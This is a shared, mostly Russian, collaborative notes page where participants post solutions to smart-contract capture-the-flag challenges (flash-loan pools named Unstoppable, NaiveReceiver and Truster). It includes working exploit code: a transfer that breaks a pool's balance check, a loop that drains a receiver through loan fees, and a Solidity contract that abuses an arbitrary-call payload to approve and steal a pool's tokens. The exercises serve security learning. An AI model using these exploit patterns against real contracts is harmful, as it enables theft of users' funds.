# Tmp hackboard ## Template Just copy section below and put your submission into snippet area ### lotner #### task 1 ```solidity put code here ```подлезть под amount и owner ### algys #### task 1 ```solidity ``` ### keff ### task1 Вызываем функцию возврата два раза вызывает падение this.token.transfer(this.pool.address, INITIAL_ATTACKER_BALANCE, {from: attacker }); ### task2 Контракт обращается за заемами множество раз до тех пор пока баланс не станет меньше процента заема. ``` function attack( INaiveReceiverLenderPool pool, address payable receiver ) public { uint256 FIXED_FEE = pool.fixedFee(); while (receiver.balance >= FIXED_FEE) { pool.flashLoan(receiver, 0); } } ``` ### task3 Возьмем заем в 0, и заапрувим контракт передав в качестве payload функцию переводящую деньги на наш контракт, после чего спишем все деньги с контракта ``` function attack(IERC20 token, ITrusterLenderPool pool, address attackerEOA) public { uint256 poolBalance = token.balanceOf(address(pool)); bytes memory approvePayload = abi.encodeWithSignature("approve(address,uint256)", address(this), poolBalance); pool.flashLoan(0, attackerEOA, address(token), approvePayload); //fgghed pf,bhftv dct token.transferFrom(address(pool), attackerEOA, poolBalance); } ``` ### Tigran ### Task 1 Идея: В функции flashLoan контракта UnstoppableLender выполняется assert на равенство storage переменной poolBalance и memory переменной balanceBefore. Нарушение данного равенства приведет к отказу работы функции flashLoan. Нарушить равенство можно, переведя на баланс UnstoppableLeneder токены с баланса аккаунта атакующего. Решение: ``` await this.token.transfer(this.pool.address, INITIAL_ATTACKER_BALANCE, {from: attacker}); ``` ### Task 2 Идея: Контракт NaiveReceiverLenderPool выдает заём не msg.sender, а на параметризованный адрес. Таким образом, можно неограниченно запрашивать заём средств на атакуемый аккаунт, вынуждая его оплачивать комиссию. Решение: ``` while (await balance.current(this.receiver.address) > 0) { await this.pool.flashLoan(this.receiver.address, 0); } ``` ### Task 3 Идея: Функция flashLoan использует параметризированные адреса borrower и target, вместо msg.sender. Также функция принимает поле data, и напрямую передает его при вызове метода call у target, не проверяя его содержимое. Соответственно, можно использовать в качестве target damnValuableToken и в качестве data передать payload, вызывающий метод approve у токена, выдывая атакующему аккаунту approve на распоряжение балансом контракта TrusterLenderPool. Решение: **WIP** ## Fedor ## task 1 Как уже писали выше, использовать стандартный ERC-20 трансфер вместо использования функции depositTokens(), тогда два значения poolBalance и balanceBefore не будут одинаковы.